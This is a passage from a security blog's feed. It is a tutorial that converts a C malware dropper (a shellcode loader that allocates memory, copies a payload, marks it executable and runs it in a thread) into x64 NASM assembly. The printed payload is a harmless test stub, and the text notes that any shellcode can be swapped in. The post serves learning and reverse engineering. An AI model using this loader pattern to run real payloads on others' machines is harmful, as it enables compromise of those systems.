&lt;p&gt;For another x64 assembly evasion technique, see &lt;a href="https://www.accidentalrebel.com/malware-sandbox-evasion-in-x64-assembly-by-checking-ram-size-part-1.html"&gt;Sandbox Evasion by Checking RAM Size&lt;/a&gt;.&lt;/p&gt;</content><category term="misc"/><category term="evasion"/><category term="assembly"/><category term="av"/></entry><entry><title>Converting a malware dropper to x64 assembly</title><link href="https://www.accidentalrebel.com/converting-a-malware-dropper-to-x64-assembly.html" rel="alternate"/><published>2022-07-03T09:18:00+08:00</published><updated>2022-07-03T09:18:00+08:00</updated><author><name>AccidentalRebel</name></author><id>tag:www.accidentalrebel.com,2022-07-03:/converting-a-malware-dropper-to-x64-assembly.html</id><summary type="html">&lt;p&gt;Practical lessons from converting a C malware dropper to x64 Windows assembly, covering shadow spaces, calling conventions, and memory segments.&lt;/p&gt;</summary><content type="html">&lt;p&gt;In this post I'll be listing down lessons I learned while converting a simple malware dropper written in C to x64 assembly. &lt;/p&gt;
&lt;p&gt;I started this project as a way to deepen my understanding of assembly so I could be better in malware development and reverse engineering (And also because I love coding in assembly and would always find an excuse to use it).&lt;/p&gt;
&lt;h2 id="what-to-expect"&gt;What to expect&lt;/h2&gt;
&lt;p&gt;I'll be going through sections of the C file and show the how it can be written accordingly in x64 Windows assembly. Take note, however, that the conversion is not one-to-one, meaning there are other ways of writing it. What I did was to structure the assembly code so that you can easily compare it with the C code while making sure that the end result will be the same.&lt;/p&gt;
&lt;p&gt;I won't be covering the basics of assembly because &lt;a href="https://sonictk.github.io/asm_tutorial/"&gt;this post&lt;/a&gt; does a better job of doing that. And as for the assembler, I'll be using &lt;a href="https://www.nasm.us/"&gt;nasm&lt;/a&gt; because this is the one I'm most familiar with.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Disclaimer:&lt;/strong&gt; I am not an expert in any of these topics. I'm just someone who learned things and wish to share it to others. If I'm wrong about anything feel free to point it out. &lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2 id="credits"&gt;Credits&lt;/h2&gt;
&lt;p&gt;The malware dropper that we'll be converting is made by &lt;a href="https://twitter.com/sektor7net"&gt;@reenz0h&lt;/a&gt;. I found it in &lt;a href="https://github.com/kymb0/Malware_learns"&gt;kymb0's repository&lt;/a&gt; and I learned that it's a part of the &lt;a href="https://institute.sektor7.net/"&gt;Red Team Operator course by Sektor7&lt;/a&gt;. I've read good things about the course and I plan to take it in the future, you should check it out too.&lt;/p&gt;
&lt;h2 id="the-dropper"&gt;The dropper&lt;/h2&gt;
&lt;p&gt;Here's the malware dropper that we'll be converting:&lt;/p&gt;
&lt;div class="codehilite"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="cm"&gt;/*&lt;/span&gt;

&lt;span class="cm"&gt; Red Team Operator course code template&lt;/span&gt;
&lt;span class="cm"&gt; storing payload in .data section&lt;/span&gt;

&lt;span class="cm"&gt; author: reenz0h (twitter: @sektor7net)&lt;/span&gt;

&lt;span class="cm"&gt;*/&lt;/span&gt;
&lt;span class="cp"&gt;#include&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="cpf"&gt;&amp;lt;windows.h&amp;gt;&lt;/span&gt;
&lt;span class="cp"&gt;#include&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="cpf"&gt;&amp;lt;stdio.h&amp;gt;&lt;/span&gt;
&lt;span class="cp"&gt;#include&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="cpf"&gt;&amp;lt;stdlib.h&amp;gt;&lt;/span&gt;
&lt;span class="cp"&gt;#include&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="cpf"&gt;&amp;lt;string.h&amp;gt;&lt;/span&gt;

&lt;span class="c1"&gt;// 4 byte payload&lt;/span&gt;
&lt;span class="kt"&gt;unsigned&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kt"&gt;char&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;payload&lt;/span&gt;&lt;span class="p"&gt;[]&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="mh"&gt;0x90&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;       &lt;/span&gt;&lt;span class="c1"&gt;// NOP&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="mh"&gt;0x90&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;       &lt;/span&gt;&lt;span class="c1"&gt;// NOP&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="mh"&gt;0xcc&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;       &lt;/span&gt;&lt;span class="c1"&gt;// INT3&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="mh"&gt;0xc3&lt;/span&gt;&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="c1"&gt;// RET&lt;/span&gt;
&lt;span class="p"&gt;};&lt;/span&gt;
&lt;span class="kt"&gt;unsigned&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kt"&gt;int&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;payload_len&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;4&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

&lt;span class="kt"&gt;int&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;main&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;void&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;

&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="kt"&gt;void&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;exec_mem&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;BOOL&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;rv&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;HANDLE&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;th&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;DWORD&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;oldprotect&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="c1"&gt;// Allocate a memory buffer for payload.&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;exec_mem&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;VirtualAlloc&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;payload_len&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;MEM_COMMIT&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;|&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;MEM_RESERVE&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;PAGE_READWRITE&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;printf&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;%-20s : 0x%-016p&lt;/span&gt;&lt;span class="se"&gt;\n&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;&amp;quot;payload addr&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;void&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="n"&gt;payload&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;printf&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;%-20s : 0x%-016p&lt;/span&gt;&lt;span class="se"&gt;\n&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;&amp;quot;exec_mem addr&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;void&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="n"&gt;exec_mem&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="c1"&gt;// Copy payload to new buffer&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;RtlMoveMemory&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;exec_mem&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;payload&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;payload_len&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="c1"&gt;// Make new buffer as executable&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;rv&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;VirtualProtect&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;exec_mem&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;payload_len&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;PAGE_EXECUTE_READ&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;oldprotect&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;printf&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;&lt;/span&gt;&lt;span class="se"&gt;\n&lt;/span&gt;&lt;span class="s"&gt;Hit me!&lt;/span&gt;&lt;span class="se"&gt;\n&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;getchar&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;

&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="c1"&gt;// If all good, run the payload&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;rv&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;!=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="n"&gt;th&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;CreateThread&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;LPTHREAD_START_ROUTINE&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;exec_mem&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="n"&gt;WaitForSingleObject&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;th&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;-1&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Here is what the code does:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Allocates memory buffer with size &lt;code&gt;payload_len&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Copies &lt;code&gt;payload&lt;/code&gt; to the buffer&lt;/li&gt;
&lt;li&gt;The buffer's memory protection is changed to &lt;code&gt;PAGE_EXECUTE_READ&lt;/code&gt; which allows for code execution&lt;/li&gt;
&lt;li&gt;A thread is created that runs the payload, which runs indefinitely&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;It doesn't seem that the program is doing much when run. All we see are the payload and exec_mem addresses for debugging purposes and nothing much else.&lt;/p&gt;
&lt;p&gt;&lt;img alt="converting-a-malware-dropper-to-x64-assembly-01" src="https://www.accidentalrebel.com/images/converting-a-malware-dropper-to-x64-assembly-01.png" /&gt;&lt;/p&gt;
&lt;p&gt;The most interesting parts with this code will be seen under a debugger, which I'll go through later in this post.&lt;/p&gt;
&lt;h2 id="including-external-functions"&gt;Including external functions&lt;/h2&gt;
&lt;p&gt;In C, if we want to to use a Windows API function, we need to include the necessary header files and make sure to supply required library names via the linker, like so:&lt;/p&gt;
&lt;div class="codehilite"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="cp"&gt;#include&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="cpf"&gt;&amp;lt;windows.h&amp;gt;&lt;/span&gt;
&lt;span class="cp"&gt;#include&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="cpf"&gt;&amp;lt;stdio.h&amp;gt;&lt;/span&gt;
&lt;span class="cp"&gt;#include&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="cpf"&gt;&amp;lt;stdlib.h&amp;gt;&lt;/span&gt;
&lt;span class="cp"&gt;#include&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="cpf"&gt;&amp;lt;string.h&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;x64 assembly does not use header files so the process is done differently. First, the necessary ".lib" files should be supplied to the linker:&lt;/p&gt;
&lt;div class="codehilite"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;link&lt;span class="w"&gt; &lt;/span&gt;dropper_data.obj&lt;span class="w"&gt; &lt;/span&gt;/subsystem:console&lt;span class="w"&gt; &lt;/span&gt;/out:dropper_data.exe&lt;span class="w"&gt; &lt;/span&gt;kernel32.lib&lt;span class="w"&gt; &lt;/span&gt;msvcrt.lib
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Next, every external function that we'll be using in our code needs to be specified as shown below:&lt;/p&gt;
&lt;div class="codehilite"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="nf"&gt;segment&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;.text&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nf"&gt;global&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;main&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nf"&gt;extern&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;ExitProcess&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nf"&gt;extern&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;printf&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nf"&gt;extern&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;VirtualAlloc&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nf"&gt;extern&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;VirtualProtect&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nf"&gt;extern&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;RtlMoveMemory&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nf"&gt;extern&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;getchar&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nf"&gt;extern&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;CreateThread&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nf"&gt;extern&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;WaitForSingleObject&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Note that the &lt;code&gt;extern&lt;/code&gt; keyword in assembly is different in C. Externs in C are used for &lt;em&gt;exporting&lt;/em&gt; symbols while they are used for &lt;em&gt;importing&lt;/em&gt; symbols in Assembly. &lt;code&gt;global&lt;/code&gt; is the one used for exporting.&lt;/p&gt;
&lt;p&gt;Once the symbols are properly exported then that is when the functions can be used with the &lt;code&gt;call&lt;/code&gt; operand.&lt;/p&gt;
&lt;h2 id="the-entrypoint"&gt;The entrypoint&lt;/h2&gt;
&lt;p&gt;There needs to be an entry point so that the operating system knows where to jump to start our program. We do this in C by declaring a &lt;code&gt;main&lt;/code&gt; function:&lt;/p&gt;
&lt;div class="codehilite"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="kt"&gt;int&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;main&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;void&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;...&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;In assembly, we declare the entry point with &lt;code&gt;global main&lt;/code&gt; (As seen in the previous section) and also supply the &lt;code&gt;main:&lt;/code&gt; label within the code. This is where execution will jump to.&lt;/p&gt;
&lt;div class="codehilite"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="nf"&gt;segment&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;.text&lt;/span&gt;
&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="nf"&gt;global&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;main&lt;/span&gt;
&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="na"&gt;...&lt;/span&gt;
&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="na"&gt;...&lt;/span&gt;

&lt;span class="nl"&gt;main:&lt;/span&gt;
&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="nf"&gt;push&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="no"&gt;rbp&lt;/span&gt;
&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="na"&gt;...&lt;/span&gt;
&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="na"&gt;...&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;h2 id="the-payload"&gt;The payload&lt;/h2&gt;
&lt;p&gt;The payload in this example is a simple shellcode made for testing purposes. This can be changed to any shellcode of any length as long as &lt;code&gt;payload_len&lt;/code&gt; reflects the new size of the shellcode.&lt;/p&gt;
&lt;div class="codehilite"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="c1"&gt;// 4 byte payload&lt;/span&gt;
&lt;span class="kt"&gt;unsigned&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kt"&gt;char&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;payload&lt;/span&gt;&lt;span class="p"&gt;[]&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="mh"&gt;0x90&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;       &lt;/span&gt;&lt;span class="c1"&gt;// NOP&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="mh"&gt;0x90&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;       &lt;/span&gt;&lt;span class="c1"&gt;// NOP&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="mh"&gt;0xcc&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;       &lt;/span&gt;&lt;span class="c1"&gt;// INT3&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="mh"&gt;0xc3&lt;/span&gt;&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="c1"&gt;// RET&lt;/span&gt;
&lt;span class="p"&gt;};&lt;/span&gt;
&lt;span class="kt"&gt;unsigned&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kt"&gt;int&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;payload_len&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;4&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;In assembly, initializing data is done in &lt;code&gt;segment .data&lt;/code&gt;.&lt;/p&gt;
&lt;div class="codehilite"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="nf"&gt;segment&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;.data&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="na"&gt;...&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="na"&gt;...&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="c1"&gt;;; 4 byte payload&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nf"&gt;payload&lt;/span&gt;&lt;span class="w"&gt;         &lt;/span&gt;&lt;span class="no"&gt;db&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="mi"&gt;0x90&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0x90&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0xCC&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0xC3&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nf"&gt;payload_len&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;db&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="mi"&gt;4&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;We can then check the above data laid out in the &lt;code&gt;.data&lt;/code&gt; memory segment using a debugger:&lt;/p&gt;
&lt;p&gt;&lt;img alt="converting-a-malware-dropper-to-x64-assembly-02" src="https://www.accidentalrebel.com/images/converting-a-malware-dropper-to-x64-assembly-02.png" /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img alt="converting-a-malware-dropper-to-x64-assembly-03" src="https://www.accidentalrebel.com/images/converting-a-malware-dropper-to-x64-assembly-03.png" /&gt;&lt;/p&gt;
&lt;p&gt;You may notice that our shellcode is not at the start of the &lt;code&gt;.data&lt;/code&gt; segment because there are other data that was declared prior to our payload. This is important to note as the order we declare the data will be the order they will appear in memory.&lt;/p&gt;
&lt;h2 id="initialized-data"&gt;Initialized data&lt;/h2&gt;
&lt;p&gt;All data in assembly needs to be declared and initialized before it can be used:&lt;/p&gt;
&lt;div class="codehilite"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="nf"&gt;segment&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;.data&lt;/span&gt;
